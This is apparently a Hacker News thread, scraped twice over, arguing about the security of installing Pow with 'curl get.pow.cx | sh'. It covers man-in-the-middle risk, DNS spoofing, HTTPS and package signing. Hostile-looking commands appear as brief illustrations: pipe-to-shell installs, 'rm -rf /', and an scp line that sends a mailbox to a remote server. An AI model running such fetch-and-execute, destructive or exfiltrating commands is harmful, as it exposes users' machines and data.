This is a great web page, but I think it's borderline irresponsible to keep using this gimmick:
curl get.pow.cx | sh
for installation. Yes, it's easy and slick. Yes, you'd have to read the code itself to make sure Pow didn't own your machine up after a secure install. Yes, you can just read the shell script. But 0.0001% of people playing with Pow will do that. Why make things easier for attackers at all?
This is an idea that I think started with Ximian back in 2000 and I think we're ready for it to die. It'd be neat if the authors of Pow were cool enough to strike it from their (otherwise amazing) front page.
(I'd also be happier if the thread where the guy explains how Pow works and what it's components are were voted higher than this comment.)
As another HN reader who does security for a living, perhaps I can add some specific points. (I know this thread is probably dead given that it is 1 day old, but I access this site via HN Daily now so bear with me.)
* No transport security. As many people mention, at least adding HTTPS would help with this. However, most non-browser SSL clients (wget, curl) don't include any root certs by default so even switching to SSL would not help this method. Firesheep, sslstrip, etc. automatically generate a self-signed cert which would look no different to wget than a real cert.
* No persistence. If you download any installer package once and then reuse it on multiple machines, you get the benefit of knowing that the same code was installed on each machine (good or bad). With this method, users may catch the site in the middle of an update and get multiple versions of the package.
* No authentication. Even with SSL, you only get strong transport security. You would know strongly that ".pow.cx" sent you some code, but not how that code got put on the server. With package-signing, typically done on the developer's end system, you know that it was protected even before it was uploaded to some site.
* Easier to trojan than binaries. Inserting a few extra shell commands in a single HTTP(S) session (say, targeting a single client IP) is much easier than building a custom binary package. Consider how hard it is to even compile Firefox with all the dependencies. Now do that work and insert a trojan and upload a separate 10 MB binary that needs to be stored somewhere on the server while waiting for that one client to visit the site. Compare this to keeping a two-line patch to a shell script (easily done in RAM, maybe even by hotpatch).
* Trains users that all the above is ok since the popularity of this "| sh" install method is relatively new. (Yes, I know about shar scripts in the past but those ended by 1996 or so with the advent of real package managers). It is absolutely impossible to retrofit "| sh" to be secure, whereas it is definitely feasible to add package signature verification support to gem or yum or apt or whatever (in fact, all those already support it).
The fact that many installers aren't signed today is not an ok to drive this process back to the 80's. We should be moving toward the future when package signing is a required part of being a software developer. Too hard? Well build tools to make this easier!
Why is this bad? I get why it seems offensive, but how is running a random shell script from some host any different than running some random software downloaded and installed from the same host? Anything malicious that the shell script could do could also be done by the software itself once installed, no? If they're from the same official source, why should one be considered more trustworthy than the other?
EDIT: Okay, I see it's because of the use of sudo. But graphical installers often require the root/administrator password, and could be equally destructive.
If you download an installer from an https:// link, even though you still aren't capital-S Secure, you're still more secure than running shell scripts spat out over TCP port 80.
Fix your complaint? Like the grandparent said, I'm not sure why curl | sh is any less secure than gem install or whathaveyou, in the oh-god-this-script-just-ran-rm-rf-/ sense.
The only meaningful difference between the two techniques is the extra step required to explicitly execute an installer. Is that your objection, that you don't like something being automatically executed upon download?
I really don't see what's to object about. People who care about security can review it. People who just want it to work and don't care about security will blindly execute whatever instructions are written on the site. If the app is malicious then the latter group is screwed no matter what, doesn't matter whether it's 'curl | sh' or whether it's a .dmg/.zip/.tar.gz.
Your HTTPS suggestion makes sense, but can you explain your other two points by contrasting with "gem install"? How is the installation any more automatic? How does the UX confound security?
It's easier for a man in the middle to change a 15-line text script than to change a binary. Lowering that effort = increasing the odds and incidence of attempted attacks.
I request one thing, you send me something completely different. I don't see how making the "something" an ASCII script makes it easier than a random binary (and there's no requirement that the random binary has any relationship with what I requested).
Oddly, I'm more used to seeing arguments that distributing source code is better than distributing binaries because you can inspect source code.
The scenario isn't that I send you something different, but that somebody else gets in between us and tampers with the data. That's what https tries to avoid.
We're arguing levels of badness here so it's a little hokey. But if you decide to open up your machine to run arbitrary code, a machine that can run shell will arguably get more infections than one that runs executables. To infect the ladder any script kiddies will need to know a 'harder' language and at least how to compile it. It's a couple more hoops to jump through. In the other case I could drive by and do scp ~/mailbox me@myserver:
"Tampers with the data" is functionally equivalent to sending me something different. There's not requirement that it looks like what I requested at all, and as long as it will execute when double-clicked, it'll do the trick.
We're already talking about running arbitrary code on a machine, compiled versus interpreted is irrelevant. And I think you have forgotten that a script with the appropriate hash-bang and file permissions is indistinguishable to most users from a compiled executable.
Sure, but a huge amount of software is distributed over plain old HTTP anyway. I agree that we should be using HTTPS for things like this, but I don't buy that curling a shell script is worse than downloading an installer over an unencrypted connection.
You can for example, at your network level point get.pow.cx to a malicious script and you're done. That's the security issue, it has nothing to do with the HTTP protocol.
With that being said, I don't care, the risk is the same as downloading any software via http, in fact I loved it, so easy :-).
In fact it's much more transparent. With a compiled binary you don't see the steps involved, with a bash script you can step line by line and see exactly what the script is doing.
Those that don't care won't look at the script any more than they'll check the md5 hash of a binary to see that it's a legit binary. For those that care, they can look at the bash source.
Sorry, I just don't agree with this, but I also recognize it as a topic that we can nerd out over for hours and hours without improving the universe even a little. If what 'tptacek thinks about the security of software distribution means anything to you --- I'm not saying it has to --- then know that I think this is a bad idea that is only not causing problems because it is a gimmick used by so few projects.
I'm really, really trying to understand your viewpoint on this. How is this any more insecure than downloading (over HTTP) and running a graphical installer that requires your root password? Is it just because it takes a bit more effort to exploit a binary, given a MitM position, or am I missing something else?
You mean DNS spoofing. That only works if you can get a valid certificate at one of the recognized CAs. If you use a self-signed one curl will still complain unless -k is given. But then again, after the Comodo fiasco...
Anyone who can run a tool to spoof DNS entries can run shell commands on machines that run this installer. Because so few people are going to install Pow relative to the population, I don't want to say this is a gigantic security problem. But the more people use this gimmick, the worse the issue gets.
I think you would be doing the universe a small but meaningful favor not to advertise this installation mechanism.
But it is a very cool tool and a really well-done site. Congrats!
Anybody can also spoof DNS entries to point rubygems.org/debian.org/centos.org/redhat.com to a malicious place where the packages contain postinstall scripts that run 'rm -rf /'.
It might also be nice to have a Homebrew recipe, if it's possible to run it from /usr/local instead of ~/Library/Application Support (haven't dug through the code yet).
Well, just to play devil's advocate, do you read through the source code of MySQL, Apache, or RPM packages every time you install them?
With things like this that come from reputable sources, it's not unreasonable to put some trust in the source and some trust in the smaller percentage of developers who actually read the source code.
As other have pointed out above, the point is not where you think it is coming from, it is where it is actually coming from. Someone could easily man in the middle the connection and change the code you download, so your computer ran whatever they wanted you to run.
You say someone could "easily" man-in-the-middle the connection, but is it really that easy? Or likely? (Assuming you're not installing it from a random public wifi hotspot.)
Even so, assuming you want to be extra careful (you're installing it on a development machine with highly sensitive information), it's not that difficult to clone the repo and edit the install script to install from your local copy of the repo.
I mean yes, it does take a whole minute to verify that the pow code repo is on 37signals' GitHub organization account and that the repo references http://pow.cx.
Although I suppose it is possible that 37signals' GitHub account was hacked and someone maliciously designed a convenient Rack server and website with the intent of targeting the lucrative Rails developer demographic, or that the package the installer downloads is an insidious 37signals trojan not built from the code at the public repo.
This scripts vs binaries situation reminds me of something in the linux kernel: you can't use the sticky bit against scripts. When you add it, it shows as sticky in 'ls -lF' but doesn't work when you go to run it. Sticky bit is only for binaries.
It seems stupid, but on the other hand I never see people abusing the sticky bit, possibly as a result of the higher barrier to entry.
On the other hand, it causes me inconvenience every time I want to do something legitimate with it.
Scripts with interpreters expose a race condition vulnerability whereby an attacker can quickly replace the script with their own before the interpreter, running with higher level privileges, finishes loading.
It is not really a script vs. binary issue so much as protecting against how scripts are loaded.
I agree, if I put rm -rf / in that script you would be rightfully disappointed. Why would anyone trust someone to do this? When I download a script, I always read the code first.
Let's cut to the chase. OP is right. cUrl is a shitty way to install software. All these other arguments are peripheral to the central issue, which is simply that cUrl is a shitty way to install software. Reasons have already been given, arguments have already been made, and no difference has been made.
Comments
This is a great web page, but I think it's borderline irresponsible to keep using this gimmick:
for installation. Yes, it's easy and slick. Yes, you'd have to read the code itself to make sure Pow didn't own your machine up after a secure install. Yes, you can just read the shell script. But 0.0001% of people playing with Pow will do that. Why make things easier for attackers at all?This is an idea that I think started with Ximian back in 2000 and I think we're ready for it to die. It'd be neat if the authors of Pow were cool enough to strike it from their (otherwise amazing) front page.
(I'd also be happier if the thread where the guy explains how Pow works and what it's components are were voted higher than this comment.)
As another HN reader who does security for a living, perhaps I can add some specific points. (I know this thread is probably dead given that it is 1 day old, but I access this site via HN Daily now so bear with me.)
* No transport security. As many people mention, at least adding HTTPS would help with this. However, most non-browser SSL clients (wget, curl) don't include any root certs by default so even switching to SSL would not help this method. Firesheep, sslstrip, etc. automatically generate a self-signed cert which would look no different to wget than a real cert.
* No persistence. If you download any installer package once and then reuse it on multiple machines, you get the benefit of knowing that the same code was installed on each machine (good or bad). With this method, users may catch the site in the middle of an update and get multiple versions of the package.
* No authentication. Even with SSL, you only get strong transport security. You would know strongly that ".pow.cx" sent you some code, but not how that code got put on the server. With package-signing, typically done on the developer's end system, you know that it was protected even before it was uploaded to some site.
* Easier to trojan than binaries. Inserting a few extra shell commands in a single HTTP(S) session (say, targeting a single client IP) is much easier than building a custom binary package. Consider how hard it is to even compile Firefox with all the dependencies. Now do that work and insert a trojan and upload a separate 10 MB binary that needs to be stored somewhere on the server while waiting for that one client to visit the site. Compare this to keeping a two-line patch to a shell script (easily done in RAM, maybe even by hotpatch).
* Trains users that all the above is ok since the popularity of this "| sh" install method is relatively new. (Yes, I know about shar scripts in the past but those ended by 1996 or so with the advent of real package managers). It is absolutely impossible to retrofit "| sh" to be secure, whereas it is definitely feasible to add package signature verification support to gem or yum or apt or whatever (in fact, all those already support it).
The fact that many installers aren't signed today is not an ok to drive this process back to the 80's. We should be moving toward the future when package signing is a required part of being a software developer. Too hard? Well build tools to make this easier!
Why is this bad? I get why it seems offensive, but how is running a random shell script from some host any different than running some random software downloaded and installed from the same host? Anything malicious that the shell script could do could also be done by the software itself once installed, no? If they're from the same official source, why should one be considered more trustworthy than the other?
EDIT: Okay, I see it's because of the use of sudo. But graphical installers often require the root/administrator password, and could be equally destructive.
If you download an installer from an https:// link, even though you still aren't capital-S Secure, you're still more secure than running shell scripts spat out over TCP port 80.
So would,
Fix your complaint? Like the grandparent said, I'm not sure why curl | sh is any less secure than gem install or whathaveyou, in the oh-god-this-script-just-ran-rm-rf-/ sense.It would improve the situation but I'm still not a fan of perpetuating the pipe-into-shell idiom.
The only meaningful difference between the two techniques is the extra step required to explicitly execute an installer. Is that your objection, that you don't like something being automatically executed upon download?
HTTPS, automatic installation, and UX that confounds security for end-users are my three objections to this gimmick.
I really don't see what's to object about. People who care about security can review it. People who just want it to work and don't care about security will blindly execute whatever instructions are written on the site. If the app is malicious then the latter group is screwed no matter what, doesn't matter whether it's 'curl | sh' or whether it's a .dmg/.zip/.tar.gz.
Your HTTPS suggestion makes sense, but can you explain your other two points by contrasting with "gem install"? How is the installation any more automatic? How does the UX confound security?
I was assuming HTTPS based on this thread chain, but even in practice, most installers I see aren't downloaded over HTTPS.
How does this practice confound security more than a normal installer? sudo asks for my password just as a normal installer would.
It's easier for a man in the middle to change a 15-line text script than to change a binary. Lowering that effort = increasing the odds and incidence of attempted attacks.
I request one thing, you send me something completely different. I don't see how making the "something" an ASCII script makes it easier than a random binary (and there's no requirement that the random binary has any relationship with what I requested).
Oddly, I'm more used to seeing arguments that distributing source code is better than distributing binaries because you can inspect source code.
The scenario isn't that I send you something different, but that somebody else gets in between us and tampers with the data. That's what https tries to avoid.
We're arguing levels of badness here so it's a little hokey. But if you decide to open up your machine to run arbitrary code, a machine that can run shell will arguably get more infections than one that runs executables. To infect the ladder any script kiddies will need to know a 'harder' language and at least how to compile it. It's a couple more hoops to jump through. In the other case I could drive by and do scp ~/mailbox me@myserver:
"Tampers with the data" is functionally equivalent to sending me something different. There's not requirement that it looks like what I requested at all, and as long as it will execute when double-clicked, it'll do the trick.
We're already talking about running arbitrary code on a machine, compiled versus interpreted is irrelevant. And I think you have forgotten that a script with the appropriate hash-bang and file permissions is indistinguishable to most users from a compiled executable.
Rubygems at least has a post-install hook that gem authors can execute automatically.
Just let me know when I can do: port selfupdate; port info ...
I thought everyone moved over to homebrew now :)
Sure, but a huge amount of software is distributed over plain old HTTP anyway. I agree that we should be using HTTPS for things like this, but I don't buy that curling a shell script is worse than downloading an installer over an unencrypted connection.
If you want https you can install from github:
curl https://github.com/37signals/pow/raw/master/install.sh | sh
No you're not! It's the same security issue.
You can for example, at your network level point get.pow.cx to a malicious script and you're done. That's the security issue, it has nothing to do with the HTTP protocol.
With that being said, I don't care, the risk is the same as downloading any software via http, in fact I loved it, so easy :-).
In fact it's much more transparent. With a compiled binary you don't see the steps involved, with a bash script you can step line by line and see exactly what the script is doing.
Those that don't care won't look at the script any more than they'll check the md5 hash of a binary to see that it's a legit binary. For those that care, they can look at the bash source.
Sorry, I just don't agree with this, but I also recognize it as a topic that we can nerd out over for hours and hours without improving the universe even a little. If what 'tptacek thinks about the security of software distribution means anything to you --- I'm not saying it has to --- then know that I think this is a bad idea that is only not causing problems because it is a gimmick used by so few projects.
I'm really, really trying to understand your viewpoint on this. How is this any more insecure than downloading (over HTTP) and running a graphical installer that requires your root password? Is it just because it takes a bit more effort to exploit a binary, given a MitM position, or am I missing something else?
We get that you think it is a bad idea, but don't know/understand why/how?
Since you are the security expert at Hn, we are trying to understand/learn from you.
This is not plain Nerdgasm making people understand about software security is making the world a little better.
You mean DNS spoofing. That only works if you can get a valid certificate at one of the recognized CAs. If you use a self-signed one curl will still complain unless -k is given. But then again, after the Comodo fiasco...
Maybe not entirely true: http://www.imperialviolet.org/2011/03/18/revocation.html
Hey Tom-
The installation process is short and fully documented: http://get.pow.cx/
The web site and manual encourage you to read it.
I think it's far more transparent than, say, an OS X Installer package.
Anyone who can run a tool to spoof DNS entries can run shell commands on machines that run this installer. Because so few people are going to install Pow relative to the population, I don't want to say this is a gigantic security problem. But the more people use this gimmick, the worse the issue gets.
I think you would be doing the universe a small but meaningful favor not to advertise this installation mechanism.
But it is a very cool tool and a really well-done site. Congrats!
Just as anyone who can spoof DNS entries could swap some other theoretical Pow installer with a malicious one.
I'm not seeing how Pow's installation process is any less secure than, say, downloading a disk image from a random site.
Not if it's served over SSL.
That has nothing to do with whether the installer is a shell script or a binary.
This comment is a repeat, but that may not necessarily be true:
http://www.imperialviolet.org/2011/03/18/revocation.html
Anybody can also spoof DNS entries to point rubygems.org/debian.org/centos.org/redhat.com to a malicious place where the packages contain postinstall scripts that run 'rm -rf /'.
Maybe for rubygems, not so easy for apt/rpm as they use gpg signing/verification of package indices.
RubyGems also have signing facilities. Most authors don't bother signing however because generating a key is too much trouble.
It might also be nice to have a Homebrew recipe, if it's possible to run it from /usr/local instead of ~/Library/Application Support (haven't dug through the code yet).
Well, just to play devil's advocate, do you read through the source code of MySQL, Apache, or RPM packages every time you install them?
With things like this that come from reputable sources, it's not unreasonable to put some trust in the source and some trust in the smaller percentage of developers who actually read the source code.
As other have pointed out above, the point is not where you think it is coming from, it is where it is actually coming from. Someone could easily man in the middle the connection and change the code you download, so your computer ran whatever they wanted you to run.
You say someone could "easily" man-in-the-middle the connection, but is it really that easy? Or likely? (Assuming you're not installing it from a random public wifi hotspot.)
Even so, assuming you want to be extra careful (you're installing it on a development machine with highly sensitive information), it's not that difficult to clone the repo and edit the install script to install from your local copy of the repo.
I don't think a brand-new webserver hack counts as a reputable source just yet.
I think 37signals counts as a reasonably reputable source if you're a Rails developer.
Oh, didn't notice that.
Agreed. The command made me nervous until I saw the 37signals logo. After that, I didn't think twice.
I mean yes, it does take a whole minute to verify that the pow code repo is on 37signals' GitHub organization account and that the repo references http://pow.cx.
Although I suppose it is possible that 37signals' GitHub account was hacked and someone maliciously designed a convenient Rack server and website with the intent of targeting the lucrative Rails developer demographic, or that the package the installer downloads is an insidious 37signals trojan not built from the code at the public repo.
Point taken.
This scripts vs binaries situation reminds me of something in the linux kernel: you can't use the sticky bit against scripts. When you add it, it shows as sticky in 'ls -lF' but doesn't work when you go to run it. Sticky bit is only for binaries.
It seems stupid, but on the other hand I never see people abusing the sticky bit, possibly as a result of the higher barrier to entry.
On the other hand, it causes me inconvenience every time I want to do something legitimate with it.
Scripts with interpreters expose a race condition vulnerability whereby an attacker can quickly replace the script with their own before the interpreter, running with higher level privileges, finishes loading.
It is not really a script vs. binary issue so much as protecting against how scripts are loaded.
I suppose you could define a curl wrapper that lets you review the file before passing it along to sh...
Then just change curl to curl_review: Of course this kind of defeats the purpose of these easy installation tricks.I agree, if I put rm -rf / in that script you would be rightfully disappointed. Why would anyone trust someone to do this? When I download a script, I always read the code first.
Let's cut to the chase. OP is right. cUrl is a shitty way to install software. All these other arguments are peripheral to the central issue, which is simply that cUrl is a shitty way to install software. Reasons have already been given, arguments have already been made, and no difference has been made.
cUrl is a shitty way to install software.